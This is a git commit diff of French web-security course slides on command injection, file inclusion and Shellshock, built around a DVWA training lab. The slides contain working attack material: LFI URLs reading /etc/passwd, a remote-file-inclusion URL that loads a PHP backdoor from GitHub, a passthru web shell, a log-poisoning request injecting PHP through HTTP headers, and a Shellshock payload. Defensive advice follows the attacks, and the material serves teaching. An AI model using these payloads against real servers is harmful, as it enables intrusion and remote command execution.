Commit d896bd5c authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

websec

parent 2c4ef04f
...@@ -29,11 +29,10 @@ Tags: cours ...@@ -29,11 +29,10 @@ Tags: cours
* [Command execution](slides/1337/cmdi.html) * [Command execution](slides/1337/cmdi.html)
* Exploit * [Shellshock](slides/1337/shellshock.htm)
* [Shellshock](https://doc.m4z3.me/_/1337/shellshock.htm) * [Upload](slides/1337/upload.htm)
* [Upload](https://doc.m4z3.me/_/1337/upload.htm) * [LFI_RFI](slides/1337/fi.htm)
* [LFI_RFI](https://doc.m4z3.me/_/1337/LFI_RFI.htm)
* [XSS](https://doc.m4z3.me/_/1337/XSS.htm) * [XSS](https://doc.m4z3.me/_/1337/XSS.htm)
* [CSRF](https://doc.m4z3.me/_/1337/CSRF.htm) * [CSRF](https://doc.m4z3.me/_/1337/CSRF.htm)
* [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm) * [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm)
......
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>File inclusion</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/fi.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
## Command execution # Command execution
## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
### [security low](http://dv.wa/vulnerabilities/exec/) ### [security low](http://dv.wa/vulnerabilities/exec/)
* exécutrion de commandes arbitraires sur le serveur * exécution de commandes arbitraires sur le serveur
* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection)
* triviale mais assez rare * triviale mais assez rare
## Command execution ### [security low](http://dv.wa/vulnerabilities/exec/)
* paramètre non filtré * paramètre non filtré
* la commande est écrite en dur * la commande est écrite en dur
...@@ -27,7 +29,6 @@ Note: ...@@ -27,7 +29,6 @@ Note:
- non y a le cookie qui coince :/ - non y a le cookie qui coince :/
- admin:password - admin:password
- https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/ - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
- ce cas est faille assez rare
- il faut injecter des commandes que le server connait - il faut injecter des commandes que le server connait
- win/unix/linux/bsd/solarix/aix - win/unix/linux/bsd/solarix/aix
- pool de commandes par défaut - pool de commandes par défaut
...@@ -39,11 +40,9 @@ Note: ...@@ -39,11 +40,9 @@ Note:
- DVWA Security -> medium - DVWA Security -> medium
## Command execution
### [security medium](http://dv.wa/vulnerabilities/exec/) ### [security medium](http://dv.wa/vulnerabilities/exec/)
* les chaînes de caractères "&&" et ";" sont interdites les chaînes de caractères "&&" et ";" sont interdites
```shell ```shell
# Pour y voir plus clair # Pour y voir plus clair
...@@ -79,8 +78,6 @@ Note: ...@@ -79,8 +78,6 @@ Note:
- DVWA Security -> high - DVWA Security -> high
## Command execution
### [security high](http://dv.wa/vulnerabilities/exec/) ### [security high](http://dv.wa/vulnerabilities/exec/)
* l'approche est ici différente * l'approche est ici différente
...@@ -109,9 +106,8 @@ Note: ...@@ -109,9 +106,8 @@ Note:
netcat -v dv.wa 1337 netcat -v dv.wa 1337
``` ```
* \o/ nous disposons d'un accès à la machine i * \o/ nous disposons d'un accès distant à la machine
* avec les permissions de l'utilisateur www-data
* avec les permissions de l'utilisateur www-data
Note: Note:
- revenir en medium ou low security - revenir en medium ou low security
...@@ -143,6 +139,6 @@ Note: ...@@ -143,6 +139,6 @@ Note:
## <i class="fa fa-medkit"></i> Se préserver ## <i class="fa fa-medkit"></i> Se préserver
* liste blanche * utiliser des listes blanches plutôt que des listes noires
* cron pour les traitements récurrents * utiliser cron pour les traitements récurrents
* ne pas installer `ǹetccat` * ne pas installer `netccat` ...
# File Inclusion
## aka LFI / RFI
## File Inclusion
* paramètres HTTP non filtrés
```php
include($_REQUEST['filename']);
```
* permet
* d'exécuter du code distant
* d'exécuter du code localement
* accéder à des fichiers locaux sensibles
* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
## Local File Inclusion (LFI)
### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php)
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ...
* marche pas avec /etc/shadow
Note:
- open base dir
- pas ou mal configiuré
- par défaut ispconfig
- anciennement safe_mode
### fichiers sytèmes connus
* fichiers systèmes génériques
* c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
* /etc/passwd
* utilisé des paths absolus
* utilisé des paths relatifs (../.. ou ..\\..)
* windows
* les sevrices tournent souvent en administaretur
* linux
* services en root
* threads avec utlisateur sans privilege
Note:
- pas de troll sur windows
- stackoverflow fonctionne en .net
- microsoft a ouvert de nombreux projets
- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem
### fonction de l'architecture du code
* charger la page appelée
* [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
### fonction de l'architecture du code
* dossier d'inclusion dynamique de fichier
* paramètres d'url full path
* ?config=../template.htm
* paramètres d'url obfusqué
* ?config=site
```php
include "config/".$config.".php";
```
* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte
[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00)
Note:
- magic_quote_gpc doit être disabled
- supprimé de la version 5.4.0
- pas maquettée on une 5.4.41 sur debian
- code source inclu interprété ou pas
- pas toujours évident à savoir
- bien comprendre le contexte
- importance des paths collecter à l'étape de détection
- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
- textfile passé en post à intercepter avec burp
- bon exercice
## Remote File Inclusion (RFI)
* inclusion de code arbitraire
* Backdoor ou Remote shell
* dépend de la configuration de php
* par défaut
```ini
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off
```
* à On pour les besoins du TP
* certains produits PHP nécessitent cette option
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
Approche artisanale
```php
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
```
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
## Backdoor
* basiquement permet d'exécuter du code et / ou des commandes systèmes
* version artisanale
```php
echo passthru($&lowbar;GET['cmd']);
```
* version plus robuste
* [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
## remote raw backdoor
<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>
<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
#### log poisoning
* ne nécessite aucun accès en écriture sur le système de fichier
* nécessite une mauvaise configuration des permissions sur les logs (custom logs)
* [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/)
dans `/etc/apache2/sites-enabled/dvwa`
```ìni
CustomLog /home/mazenovi/logs/dvwa-access.log combined
```
#### log poisoning
* l'utilisateur lié au thread apache a accès en lecture à ce répertoire
<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo)
</small>
* les logs sont affichés
Note:
- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
- pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
- lien symbolique doit marcher ausssi
## injection de la backdoor
* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP
```shell
$ nc dv.wa 80
```
* Entrer manuellement les paramètres suivant
```http
GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1
Host: dv.wa
Referer: <?php echo passthru($_GET['cmd2']); ?>
User-Agent: <?php echo passthru($_GET['cmd3']); ?>
```
<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls)
</small>
attendre le log rotate en cas d'échec
Note:
- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
- c'est le include qui interprète gentiment ce qui est entre <?php ... ?>
- attention c'est un one shot
- > /home/mazenovi/logs/dvwa-access.log pour bien voir
- > /home/mazenovi/logs/dvwa-error.log pour bien voir
- ctrl + f "help" pour trouver les rep listés on est dans
- /var/www/dvwa/vulnerabilities/fi/
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.
```shell
-rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php
-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd
```
```php
readfile('/etc/passwd');
```
```shell
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
```
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* résout le problème du partage de PHP
* environnement mutualisé
* déprécié en 5.3
* supprimé depuis 5.4
* approche non réaliste
* ce n'est pas à PHP de régler ce problème
* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé
## [suPHP](http://www.suphp.org/Home.html)
* executing PHP scripts with the permissions of their owners
* Apache module (mod_suphp)
* setuid root binary (suphp)
* called by the Apache module to change the uid of the process executing the PHP interpreter
* rien ne doit être en chmod 777
* reporté comme erreur
abandonné depuis 2013
## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html)
* Au niveau d'Apache
* exécution des programmes CGI et SSI (Server Side Inclusion)
* utilisateur autre que celui par défaut d'apache
Note:
- bien pour le multi hosting notamment
- chacun ne peut ruiner que son périmètre
- Utilisée de manière appropriée
- réduit considérablement les risques de sécurité
- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
* le chemin vers le fichier est analysé
* si le fichier est à l'extérieur des dossiers spécifiés
* PHP refuse d'y accéder
* les liens symboliques sont résolus
* il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* **.** inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
* valeur typique
```ini
/var/www/:/usr/share/php:/tmp
```
Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* realpath()
* converti tous les *.* et **..** en path absolue
* retourne null pour un path inexistant
* basename()
* extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = $_GET['user'];
$filename = "/home/users/".$username;
readfile($filename);
```
peut être sécurisé via realpath() et basename()
```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username;
readfile($filename);
```
ne préserve pas d'une LFI dans le même répertoire
## <i class="fa fa-medkit"></i> Se préserver
* filtrer ses entrées
* avec realpath() et basename()
* par listes blanches
* déscativer allow_url_include
* utiliser l'open_base_dir
## <i class="fa fa-medkit"></i> Se préserver
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* faire attention aux permissions des logs notamment en lecture
* écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur
<!-- .slide: data-background="images/shellshock/shellshock-bug.png" data-background-size="99%" data-background-color="black"-->
## se faire un système vulnérable
* Pas évident
* dans le monde debian
* choisir une vieille [Ubuntu server 12.04.4](http://ubuntu-release.locaweb.com.br/12.04/)
* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
```shell
$ sudo apt-get apache2 && sudo a2enmod cgi
```
## configuration
```shell
$ sudo vi /usr/lib/cgi-bin/netstat.cgi
```
```shell
#!/bin/bash
echo "Content-type: text/html"
echo
echo "Executing: netstat -nlt"
echo
echo "<pre>"
/bin/netstat -nlt
echo "</pre>"
```
## configuration
```shell
$ sudo vi /etc/apache2/sites-available/serve-cgi-bin.conf
```
```xml
<IfModule mod_alias.c>
<IfModule mod_cgid.c>
Define ENABLE_USR_LIB_CGI_BIN
</IfModule>
<IfDefine ENABLE_USR_LIB_CGI_BIN>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
</IfDefine>
</IfModule>
```
## timline
* découverte en septembre 2014
* [Shellshock - timeline](http://www.dwheeler.com/essays/shellshock.html#timeline)
* [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271)
* [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169), which NIST says "exists because of an incomplete fix for CVE-2014-6271."
* existe depuis le lancement du logiciel il y a 22 ans
* interpréteur par défaut GNU/Linux et pas mal d'Unix libres
## explications
```shell
() { 42;}; echo; /usr/bin/id
```
* **() { 42;}** fonction qui "fait" 42
* **; echo** évite des erreurs serveur dans certains cas
* **; /usr/bin/id** payload juste pour la PoC
* exécution de commandes arbitraires avec les privilèges du user apache
## explications
* ne dépend d'aucun appel système dans le script CGI
* le code est exécuté lors de la préparation des variables d'environnement
* ces variables peuvent contenir des fonctions appelable par le script
* mais en fait tout code hors fonction était exécuté ...
Note:
- vitesse de distribution des patchs
- temps de compilation et de distribution dans les paquets
## Impacts